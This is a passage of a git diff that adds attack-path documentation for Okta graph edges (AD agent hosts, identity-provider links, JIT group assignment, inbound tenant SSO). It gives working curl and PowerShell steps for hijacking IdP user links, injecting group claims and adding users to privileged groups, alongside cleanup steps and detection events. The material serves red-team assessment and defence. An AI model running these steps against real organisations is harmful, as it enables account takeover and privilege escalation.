.[] as $pool + | ($pool.agents // [] | if type == "array" then . else [.] end)[]? + | select(.id == $agent) + | { + pool: { + id: $pool.id, + name: $pool.name, + type: $pool.type, + operationalStatus: $pool.operationalStatus, + disruptedAgents: $pool.disruptedAgents, + inactiveAgents: $pool.inactiveAgents + }, + agent: { + id: .id, + name: .name, + operationalStatus: .operationalStatus, + lastConnection: .lastConnection, + active: .active, + version: .version, + poolId: .poolId + } + }' + ``` + +3. On the source AD computer, enumerate the Okta agent service, process, and local install locations. + + ```powershell + $AgentHost = "LON-SRV1" + + Invoke-Command -ComputerName $AgentHost -ScriptBlock { + Get-CimInstance Win32_Service | + Where-Object { $_.DisplayName -like "*Okta*Agent*" -or $_.Name -like "*Okta*" } | + Select-Object Name, DisplayName, State, StartName, PathName + + Get-Process | + Where-Object { $_.ProcessName -like "*Okta*" } | + Select-Object Id, ProcessName, Path + + Get-ChildItem -Path "C:\Program Files", "C:\Program Files (x86)", "C:\ProgramData" -Directory -ErrorAction SilentlyContinue | + Where-Object { $_.Name -like "*Okta*" } | + Select-Object FullName + } + ``` + +4. If the path depends on an imported AD group, add a controlled AD user to that source group from a host with the Active Directory PowerShell module. + + ```powershell + Import-Module ActiveDirectory + + $TargetAdGroupDn = "CN=Finance App Admins,OU=Groups,DC=contoso,DC=com" + $ControlledAdUserDn = "CN=alice,OU=Users,DC=contoso,DC=com" + + Add-ADGroupMember -Identity $TargetAdGroupDn -Members $ControlledAdUserDn + ``` + +5. After the AD agent import runs, verify that the linked Okta user was added to the destination Okta group. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_OKTA_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_OKTA_USER_ID) | [.id, .profile.login, .status] | @tsv' + ``` + +6. If the path depends on delegated authentication instead of group import, set the source AD user's password through the authorized AD path and attempt an Okta sign-in as the linked Okta user. The Okta Management API does not safely validate a plaintext password; use an interactive sign-in or controlled authentication test and then inspect Okta System Log activity for the delegated-auth event. + +## Cleanup after Abuse + +Cleanup for `Okta_HostsAgent` means restoring the specific agent host that was controlled, removing any temporary AD changes made through that host, rotating exposed AD agent credentials, and confirming the destination agent is healthy in its pool again. + +Cleanup using Admin Console: + +1. Open the org agent status view or the affected Active Directory integration and select the destination agent from the edge. +2. Confirm whether the agent is still active, when it last connected, and whether the pool shows disrupted or inactive agents. +3. On the source computer, remove temporary tooling, restore the Okta Agent service configuration, and restore file permissions on the agent installation and data directories. +4. Rotate the AD service account or directory connector credentials exposed on the host, then update the integration or service configuration as required by the AD agent deployment. +5. Remove any temporary AD user, group, password, or profile changes that were imported through the agent. +6. Restart, re-register, or reinstall the agent only if local registration material or configuration was modified. +7. Run or wait for an import and verify the destination agent and its pool return to a healthy state. + +Cleanup using API: + +1. Remove any temporary AD group membership created through the compromised host. + + ```powershell + Import-Module ActiveDirectory + + $TargetAdGroupDn = "CN=Finance App Admins,OU=Groups,DC=contoso,DC=com" + $ControlledAdUserDn = "CN=alice,OU=Users,DC=contoso,DC=com" + + Remove-ADGroupMember -Identity $TargetAdGroupDn -Members $ControlledAdUserDn -Confirm:$false + ``` + +2. Rotate the AD service account used by the agent if that credential or its Kerberos material may have been exposed. + + ```powershell + Import-Module ActiveDirectory + + $AgentServiceAccount = "OktaService" + $NewPassword = Read-Host "New AD agent service-account password" -AsSecureString + + Set-ADAccountPassword -Identity $AgentServiceAccount -Reset -NewPassword $NewPassword + ``` + +3. Restart the Okta agent service on the source computer after configuration and credential repair. + + ```powershell + $AgentHost = "LON-SRV1" + + Invoke-Command -ComputerName $AgentHost -ScriptBlock { + Get-Service | + Where-Object { $_.DisplayName -like "*Okta*Agent*" -or $_.Name -like "*Okta*" } | + Restart-Service -Force + + Get-Service | + Where-Object { $_.DisplayName -like "*Okta*Agent*" -or $_.Name -like "*Okta*" } | + Select-Object Name, DisplayName, Status + } + ``` + +4. Verify the destination Okta agent is active in the expected pool. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/agentPools?poolType=AD&limitPerPoolType=20" \ + | jq --arg agent "$AGENT_ID" ' + .[] as $pool + | ($pool.agents // [] | if type == "array" then . else [.] end)[]? + | select(.id == $agent) + | { + pool: {id: $pool.id, name: $pool.name, operationalStatus: $pool.operationalStatus}, + agent: {id: .id, name: .name, operationalStatus: .operationalStatus, lastConnection: .lastConnection} + }' + ``` + +5. After import runs, verify the temporary Okta group membership is gone. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_OKTA_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_OKTA_USER_ID)' + ``` + +6. Revoke sessions and OAuth tokens for any linked Okta user that used the imported access. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_OKTA_USER_ID/sessions?oauthTokens=true" + ``` + +## Opsec Considerations + +Compromising the source computer leaves endpoint, AD, and Okta telemetry. On the agent host, defenders can see remote logons, service stops and starts, new services, PowerShell activity, file access in agent directories, and unusual outbound connections from the agent process. Useful Windows events include Security 4624, 4625, 4648, and 4672; PowerShell 4103 and 4104; and Service Control Manager 7036, 7040, and 7045. + +AD-side changes such as adding a user to a synchronized group or resetting a delegated-auth user's password create domain controller audit events such as 4728, 4729, 4732, 4733, 4723, and 4724 depending on group scope and action. Okta-side indicators include agent health changes, import or provisioning failures, `application.provision.user.sync`, `user.authentication.auth_via_AD_agent`, and new sessions or app launches by users whose access appeared immediately after an AD agent import. + +## References + +- [Okta Agent Pools API: List all agent pools](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/AgentPools/#tag/AgentPools/operation/listAgentPools) +- [Okta view org agents status](https://help.okta.com/oie/en-us/content/topics/dashboard/view-org-agent-status.htm) +- [Okta install multiple Active Directory agents](https://help.okta.com/oie/en-us/content/topics/directory/ad-agent-install-multiple.htm) +- [Okta delegated authentication with Active Directory](https://help.okta.com/en-us/Content/Topics/Directory/Directory_AD_Delegated_Authentication.htm) +- [Okta service account permissions](https://help.okta.com/oie/en-us/content/topics/directory/ad-agent-about-service-account.htm) +- [Okta User Sessions API: Revoke all user sessions](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/#tag/UserSessions/operation/revokeUserSessions) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Microsoft Add-ADGroupMember](https://learn.microsoft.com/en-us/powershell/module/activedirectory/add-adgroupmember) +- [Microsoft Remove-ADGroupMember](https://learn.microsoft.com/en-us/powershell/module/activedirectory/remove-adgroupmember) +- [Microsoft Set-ADAccountPassword](https://learn.microsoft.com/en-us/powershell/module/activedirectory/set-adaccountpassword) +- [SpecterOps: Discovering Unexpected Okta Attack Paths with BloodHound](https://specterops.io/blog/2026/03/23/discovering-unexpected-okta-attack-paths-with-bloodhound/) diff --git a/descriptions/edges/Okta_IdentityProviderFor.md b/descriptions/edges/Okta_IdentityProviderFor.md index 80038dd..6ffd1e6 100644 --- a/descriptions/edges/Okta_IdentityProviderFor.md +++ b/descriptions/edges/Okta_IdentityProviderFor.md @@ -1,6 +1,6 @@ ## General Information -The traversable Okta_IdentityProviderFor edges represent the relationships between identity providers and the users who authenticate through them: +The traversable Okta_IdentityProviderFor edges represent the relationships between identity providers and the Okta users who are linked to them: ```mermaid graph LR @@ -13,3 +13,169 @@ graph LR idp2 -- Okta_IdentityProviderFor --> u1 idp2 -- Okta_IdentityProviderFor --> u3 ``` + +OpenHound emits this edge from an `Okta_IdentityProvider` to each Okta user returned by the IdP user listing. The edge means Okta has an IdP user link for the destination user; the exact authentication impact depends on the IdP protocol, account link policy, subject mapping, JIT provisioning, and claim trust settings. + +## Abuse Info + +An attacker who controls the source identity provider can authenticate as, provision, or influence the destination Okta user when Okta trusts that IdP. For SAML IdPs, control means the ability to issue assertions accepted by Okta or possession of the trusted signing key. For OIDC IdPs, control means the ability to authenticate as the linked external subject or mint tokens from the trusted provider. For social IdPs, control usually means control of the linked external account. + +If the IdP link already points to an attacker-controlled external subject, the attacker can sign in through the IdP and receive an Okta session as the destination user. If the attacker controls the IdP administratively, they can modify source-side attributes, issue a matching SAML/OIDC assertion, or pre-link a controlled external ID where the IdP type supports API linking. + +Using the Admin Console and source IdP: + +1. Identify the source IdP protocol and linked destination user. +2. In Okta, open **Security** > **Identity Providers** and review the source IdP's account linking, subject, JIT provisioning, and group assignment settings. +3. In the source IdP, identify the external subject, NameID, email, username, or immutable ID that maps to the destination Okta user. +4. Create or modify an IdP-side account with the mapped subject, or issue a valid assertion/token for that subject if the IdP signing material or issuer is controlled. +5. Start an Okta sign-in flow that routes to the source IdP, or use an IdP-initiated flow where the IdP supports it. +6. Complete authentication at the source IdP. +7. Use the resulting Okta session as the destination user and follow any downstream app, group, or admin-role edges available to that user. + +Using the Okta API: + +1. Set the Okta org URL, API credential, source IdP ID, destination Okta user ID, and the controlled external subject value. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export IDP_ID="0oa..." + export TARGET_OKTA_USER_ID="00u..." + export CONTROLLED_EXTERNAL_ID="external-subject-or-nameid" + ``` + +2. Retrieve the IdP configuration and save it before making any changes. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID" \ + | tee /tmp/okta-idp-original.json \ + | jq '{id, type, name, status, protocol: .protocol.type, accountLink: .policy.accountLink, provisioning: .policy.provisioning, subject: .policy.subject}' + ``` + +3. Confirm that the destination user is linked to the IdP and capture the external ID Okta currently associates with that user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID/users?limit=200&expand=user" \ + | jq -r '.[] | select(.id == env.TARGET_OKTA_USER_ID) | [.id, .externalId, .profile.email, .profile.subjectNameId] | @tsv' + ``` + +4. If the IdP type and policy support explicit linking, link the destination Okta user to the attacker-controlled external subject. For SAML IdPs, this requires persistent NameID support. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"externalId\":\"$CONTROLLED_EXTERNAL_ID\"}" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID/users/$TARGET_OKTA_USER_ID" \ + | jq '{id, externalId, profile}' + ``` + + A successful response returns the linked IdP user object. If the request fails, abuse must happen by changing the source IdP's subject/claim output or by authenticating as the existing linked external account. + +5. Verify the linked external ID. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID/users?limit=200&expand=user" \ + | jq -r '.[] | select(.id == env.TARGET_OKTA_USER_ID) | [.id, .externalId, .profile.email, .profile.subjectNameId] | @tsv' + ``` + +6. Authenticate through the source IdP as the controlled external subject. Okta's Management API can verify the trust and link, but the Okta browser session is created by completing the SAML, OIDC, or social sign-in flow. + +## Cleanup after Abuse + +Cleanup for `Okta_IdentityProviderFor` means restoring the IdP-to-user link and IdP claim behavior, removing any temporary group memberships or JIT users caused by the login, and revoking the Okta sessions created through the source IdP. + +Cleanup using Admin Console: + +1. In the source IdP, remove attacker-created users, claims, groups, app assignments, and signing material changes. +2. In Okta, open **Security** > **Identity Providers** and restore the original account linking, subject mapping, JIT provisioning, group assignment, and claim trust settings. +3. Unlink unintended IdP user links or relink the Okta user to the correct external subject. +4. Delete JIT-provisioned Okta users that were created only for the operation. +5. Remove IdP-driven group memberships that should not remain. +6. Revoke Okta sessions for the destination user. + +Cleanup using API: + +1. Restore the saved IdP configuration if the Okta-side IdP settings were changed. + + ```bash + curl -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d @/tmp/okta-idp-original.json \ + "$OKTA_ORG/api/v1/idps/$IDP_ID" \ + | jq '{id, type, name, status, lastUpdated, policy}' + ``` + +2. Unlink the destination user from the source IdP if the link was changed or should be forced through the account-link policy again. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID/users/$TARGET_OKTA_USER_ID" + ``` + + A successful unlink returns `204 No Content`. + +3. Remove a temporary IdP-driven group membership if one was created. + + ```bash + export TEMP_GROUP_ID="00g..." + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_GROUP_ID/users/$TARGET_OKTA_USER_ID" + ``` + +4. Revoke Okta sessions and OAuth tokens for the destination user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_OKTA_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the IdP configuration and linked users are back to the expected state. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID" \ + | jq '{id, type, name, status, accountLink: .policy.accountLink, provisioning: .policy.provisioning, subject: .policy.subject}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID/users?limit=200&expand=user" \ + | jq -r '.[] | select(.id == env.TARGET_OKTA_USER_ID) | [.id, .externalId, .profile.email, .profile.subjectNameId] | @tsv' + ``` + +## Opsec Considerations + +Okta System Log events can include `user.authentication.auth_via_IDP`, `user.authentication.auth_via_inbound_SAML`, `user.session.start`, IdP lifecycle events such as `system.idp.lifecycle.update`, and IdP key events such as `system.idp.key.create`. If the IdP adds the user to groups, `group.user_membership.add` and downstream application SSO events can follow. + +The source IdP also records the authentication, claim changes, key changes, and administrator actions. A privileged Okta user authenticating through a newly changed IdP, a new external subject, or an unexpected source tenant is a high-signal detection. + +## References + +- [Okta Identity Providers API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/IdentityProvider/) +- [Okta Enterprise Identity Provider guide](https://developer.okta.com/docs/guides/add-an-external-idp/openidconnect/main/) +- [Okta SAML SSO integration guide](https://developer.okta.com/docs/guides/build-sso-integration/saml2/main/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Adam Chester: Identity Providers for RedTeamers](https://blog.xpnsec.com/identity-providers-redteamers/) diff --git a/descriptions/edges/Okta_IdpGroupAssignment.md b/descriptions/edges/Okta_IdpGroupAssignment.md index 5b8bf78..8e6e7a1 100644 --- a/descriptions/edges/Okta_IdpGroupAssignment.md +++ b/descriptions/edges/Okta_IdpGroupAssignment.md @@ -1,6 +1,6 @@ ## General Information -The non-traversable Okta_IdpGroupAssignment edges represent groups automatically assigned to users based on identity provider attributes or user claims: +The non-traversable Okta_IdpGroupAssignment edges represent Okta group assignments configured on an identity provider's JIT provisioning policy: ```mermaid graph LR @@ -12,3 +12,174 @@ graph LR idp1 -. Okta_IdpGroupAssignment .-> g2 idp1 -. Okta_IdpGroupAssignment .-> g3 ``` + +OpenHound emits this edge from `policy.provisioning.groups.assignments` on the source IdP. The edge does not mean every user authenticated by the IdP is already in the destination group; it means the IdP policy can place IdP-authenticated or JIT-provisioned users into that group. + +## Abuse Info + +This edge is not directly abusable by itself. An attacker who controls the source IdP can abuse it by signing in with an external identity that Okta links or provisions through the IdP, causing Okta to add the resulting Okta user to the destination group. The destination group can then grant app assignments, admin role inheritance, policy targeting, group push, or downstream SaaS roles. + +The useful adjacent edges are `Okta_IdentityProviderFor`, `Okta_InboundSSO`, and `Okta_InboundOrgSSO`. Those edges show which user or source tenant can authenticate through the IdP; `Okta_IdpGroupAssignment` shows which Okta group that authentication can grant. + +Using the Admin Console and source IdP: + +1. Gain control of the source IdP, a linked external user, or the IdP signing material. +2. In Okta, open **Security** > **Identity Providers** and select the source IdP. +3. Review the IdP's JIT provisioning and group assignment settings for the destination group. +4. In the source IdP, create or modify an external user whose subject, email, username, or immutable ID will link to an attacker-controlled Okta user or trigger JIT provisioning. +5. Authenticate to Okta through the source IdP. +6. Let Okta link or create the Okta user and apply the IdP group assignment. +7. Start a fresh Okta session or request new application tokens so the destination group claim and assignments are evaluated. +8. Use any application assignments, role assignments, policies, or group-push paths granted by the destination group. + +Using the Okta API: + +1. Set variables for the Okta org, source IdP, destination group, and affected Okta user. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export IDP_ID="0oa..." + export TARGET_GROUP_ID="00g..." + export CONTROLLED_OKTA_USER_ID="00u..." + ``` + +2. Retrieve and save the IdP configuration, then confirm that the destination group is assigned by the IdP provisioning policy. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID" \ + | tee /tmp/okta-idp-group-assignment-original.json \ + | jq '{id, type, name, status, provisioning: .policy.provisioning}' + + jq -r '.policy.provisioning.groups.assignments[]?' /tmp/okta-idp-group-assignment-original.json + ``` + +3. Verify the destination group and its assigned applications. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID" \ + | jq '{id, type, name: .profile.name, description: .profile.description}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/apps?limit=200" \ + | jq -r '.[] | [.id, .label, .name, .status] | @tsv' + ``` + +4. Modify or authenticate the external IdP user in the source IdP. If the source IdP exposes an API, change the source-side user or group claim there. The exact endpoint is IdP-specific. + + ```bash + export SOURCE_IDP_API_BASE="https://idp.example.com/api" + export SOURCE_IDP_TOKEN="REDACTED_SOURCE_TOKEN" + export SOURCE_IDP_USER_ID="external-user..." + export TEMP_IDP_GROUP_VALUE="Employees" + + curl -i -sS -X PATCH \ + -H "Authorization: Bearer $SOURCE_IDP_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"groups\":[\"$TEMP_IDP_GROUP_VALUE\"]}" \ + "$SOURCE_IDP_API_BASE/users/$SOURCE_IDP_USER_ID" + ``` + +5. Complete the browser SSO flow through the source IdP. Okta applies the destination group assignment during the IdP authentication or JIT provisioning flow. + +6. Verify that the controlled Okta user is now a member of the destination group. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_OKTA_USER_ID) | [.id, .profile.login, .status] | @tsv' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_IdpGroupAssignment` means removing the source IdP claim or JIT condition that placed the user into the destination group, restoring the IdP group-assignment policy if it was changed, and removing the temporary Okta group membership and tokens. + +Cleanup using Admin Console: + +1. In the source IdP, remove the temporary user, claim, group value, or assertion behavior that triggered the destination group assignment. +2. In Okta, open **Security** > **Identity Providers** and restore the original group assignment policy for the source IdP. +3. Open **Directory** > **Groups** and remove the controlled Okta user from the destination group if the membership persists. +4. Delete JIT-provisioned users created only for the operation. +5. Revoke sessions for the controlled Okta user. +6. Wait for downstream group push or app authorization to remove access granted by the destination group. + +Cleanup using API: + +1. Restore the source IdP-side user or claim value. Replace the endpoint with the source IdP's official API. + + ```bash + export ORIGINAL_IDP_GROUP_VALUE="Contractors" + + curl -i -sS -X PATCH \ + -H "Authorization: Bearer $SOURCE_IDP_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"groups\":[\"$ORIGINAL_IDP_GROUP_VALUE\"]}" \ + "$SOURCE_IDP_API_BASE/users/$SOURCE_IDP_USER_ID" + ``` + +2. Restore the saved Okta IdP configuration if the group-assignment policy was modified. + + ```bash + curl -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d @/tmp/okta-idp-group-assignment-original.json \ + "$OKTA_ORG/api/v1/idps/$IDP_ID" \ + | jq '{id, type, name, status, provisioning: .policy.provisioning}' + ``` + +3. Remove the temporary Okta group membership if it remains. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_OKTA_USER_ID" + ``` + +4. Revoke sessions and OAuth tokens for the controlled Okta user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_OKTA_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the controlled user is no longer in the destination group. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_OKTA_USER_ID)' + ``` + +## Opsec Considerations + +Okta can record `user.authentication.auth_via_IDP`, `user.authentication.auth_via_inbound_SAML`, `user.lifecycle.create` for JIT-created users, `group.user_membership.add`, `group.user_membership.remove`, and IdP configuration events such as `system.idp.lifecycle.update`. Downstream applications may also log new access once group-assigned apps or pushed groups become active. + +The source IdP's audit logs are just as important. A source-side group or claim change immediately followed by an Okta login and privileged Okta group membership is a strong correlation chain for defenders. + +## References + +- [Okta Identity Providers API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/IdentityProvider/) +- [Okta Group API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Okta Enterprise Identity Provider guide](https://developer.okta.com/docs/guides/add-an-external-idp/openidconnect/main/) +- [Adam Chester: Identity Providers for RedTeamers](https://blog.xpnsec.com/identity-providers-redteamers/) diff --git a/descriptions/edges/Okta_InboundOrgSSO.md b/descriptions/edges/Okta_InboundOrgSSO.md index 6f7b9fa..5571fb6 100644 --- a/descriptions/edges/Okta_InboundOrgSSO.md +++ b/descriptions/edges/Okta_InboundOrgSSO.md @@ -1,6 +1,6 @@ ## General Information -The Okta_InboundOrgSSO and Okta_InboundSSO hybrid edges connect external tenants and users to Okta entities: +The traversable Okta_InboundOrgSSO edges represent an external organization or tenant that can authenticate users into Okta through an Okta identity provider: ```mermaid graph LR @@ -11,3 +11,213 @@ graph LR t1 -- Okta_InboundOrgSSO --> idp1 u1 -- Okta_InboundSSO --> ou1 ``` + +OpenHound emits this edge for Microsoft-backed SAML IdPs when the IdP SSO URL identifies the source tenant. The edge is tenant-level: it shows the source tenant is trusted by the destination Okta IdP, while `Okta_InboundSSO`, `Okta_IdentityProviderFor`, and `Okta_IdpGroupAssignment` show the user and group impact. + +## Abuse Info + +An attacker who controls the source external tenant can abuse the destination Okta IdP trust to authenticate users into Okta, manipulate mapped attributes, or issue assertions for targeted Okta accounts. If the attacker controls tenant signing material or the enterprise application that issues SAML claims, they can potentially mint assertions that Okta accepts for existing linked users. + +This edge does not specify the exact user to compromise. Use adjacent `Okta_InboundSSO` edges for specific external-user-to-Okta-user mappings and `Okta_IdpGroupAssignment` for group grants applied during inbound login. + +Using the source tenant and Okta Admin Console: + +1. Gain administrative control of the source tenant, the enterprise application used for Okta federation, or the signing credentials for the IdP. +2. In Okta, open **Security** > **Identity Providers** and inspect the destination IdP's issuer, SSO URL, account linking, subject mapping, and group assignment settings. +3. In the source tenant, create or modify an external user whose attributes map to a target Okta user, or modify the SAML/OIDC claims emitted by the enterprise application. +4. If the attack requires group-based access, add the external user to the source group emitted in the IdP assertion or mapped to an `Okta_IdpGroupAssignment`. +5. Initiate SSO into Okta through the destination IdP. +6. Use the resulting Okta session or IdP-driven group membership to reach applications and privileges in the Okta org. + +Using Microsoft Graph and the Okta API: + +1. Set variables for the source tenant, source user, optional source group, destination Okta IdP, and destination Okta user. + + ```bash + export ENTRA_ACCESS_TOKEN="REDACTED_GRAPH_TOKEN" + export ENTRA_TENANT_ID="00000000-0000-0000-0000-000000000000" + export ENTRA_USER_ID="22222222-2222-2222-2222-222222222222" + export ENTRA_GROUP_ID="33333333-3333-3333-3333-333333333333" + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export IDP_ID="0oa..." + export DEST_OKTA_USER_ID="00u..." + ``` + +2. Retrieve and save the destination Okta IdP configuration. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID" \ + | tee /tmp/okta-inbound-org-idp-original.json \ + | jq '{id, type, name, status, sso: .protocol.endpoints.sso.url, accountLink: .policy.accountLink, provisioning: .policy.provisioning, subject: .policy.subject}' + ``` + +3. Confirm which Okta users are currently linked to the IdP. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID/users?limit=200&expand=user" \ + | jq -r '.[] | [.id, .externalId, .profile.email, .profile.subjectNameId] | @tsv' + ``` + +4. Modify a source tenant user attribute that the IdP assertion maps into Okta. Replace the property with the one used by the Okta IdP subject or profile mapping. + + ```bash + export TEMP_DEPARTMENT="Finance" + + curl -i -sS -X PATCH \ + -H "Authorization: Bearer $ENTRA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"department\":\"$TEMP_DEPARTMENT\"}" \ + "https://graph.microsoft.com/v1.0/users/$ENTRA_USER_ID" + ``` + +5. Add the source user to a source group that is emitted as a group claim if the Okta path depends on IdP group assignment. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: Bearer $ENTRA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"@odata.id\":\"https://graph.microsoft.com/v1.0/directoryObjects/$ENTRA_USER_ID\"}" \ + "https://graph.microsoft.com/v1.0/groups/$ENTRA_GROUP_ID/members/\$ref" + ``` + + A successful request returns `204 No Content`. + +6. Complete the browser SSO flow through the source tenant into Okta. + +7. Verify the destination Okta user and any IdP-driven groups. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID" \ + | jq '{id, status, lastLogin, login: .profile.login, email: .profile.email, department: .profile.department}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID/groups" \ + | jq -r '.[] | [.id, .type, .profile.name] | @tsv' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_InboundOrgSSO` means restoring the source tenant's federation users, group claims, and signing material, restoring the destination Okta IdP trust if it was changed, and revoking any Okta sessions or group memberships created through the inbound federation path. + +Cleanup using Admin Console: + +1. Restore the source tenant's enterprise application configuration, claims, signing certificates, users, and groups. +2. Rotate source tenant signing material if it was exposed. +3. In Okta, restore the destination identity provider configuration, including issuer, endpoints, certificates, account link policy, subject mapping, and group assignments. +4. Remove unintended Okta account links and JIT-provisioned users. +5. Remove IdP-driven Okta group memberships created during the operation. +6. Revoke Okta sessions and downstream app sessions created through the inbound trust. + +Cleanup using API: + +1. Restore source tenant user attributes. + + ```bash + export ORIGINAL_DEPARTMENT="Engineering" + + curl -i -sS -X PATCH \ + -H "Authorization: Bearer $ENTRA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"department\":\"$ORIGINAL_DEPARTMENT\"}" \ + "https://graph.microsoft.com/v1.0/users/$ENTRA_USER_ID" + ``` + +2. Remove the source user from a temporary Entra group claim. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: Bearer $ENTRA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + "https://graph.microsoft.com/v1.0/groups/$ENTRA_GROUP_ID/members/$ENTRA_USER_ID/\$ref" + ``` + +3. Restore the destination Okta IdP configuration if it changed. + + ```bash + curl -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d @/tmp/okta-inbound-org-idp-original.json \ + "$OKTA_ORG/api/v1/idps/$IDP_ID" \ + | jq '{id, type, name, status, lastUpdated, policy}' + ``` + +4. Deactivate the inbound IdP as an emergency containment step if the source tenant remains compromised. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID/lifecycle/deactivate" + ``` + + A successful response returns the IdP with `status` set to `INACTIVE`. + +5. Remove temporary group membership for the affected Okta user if needed. + + ```bash 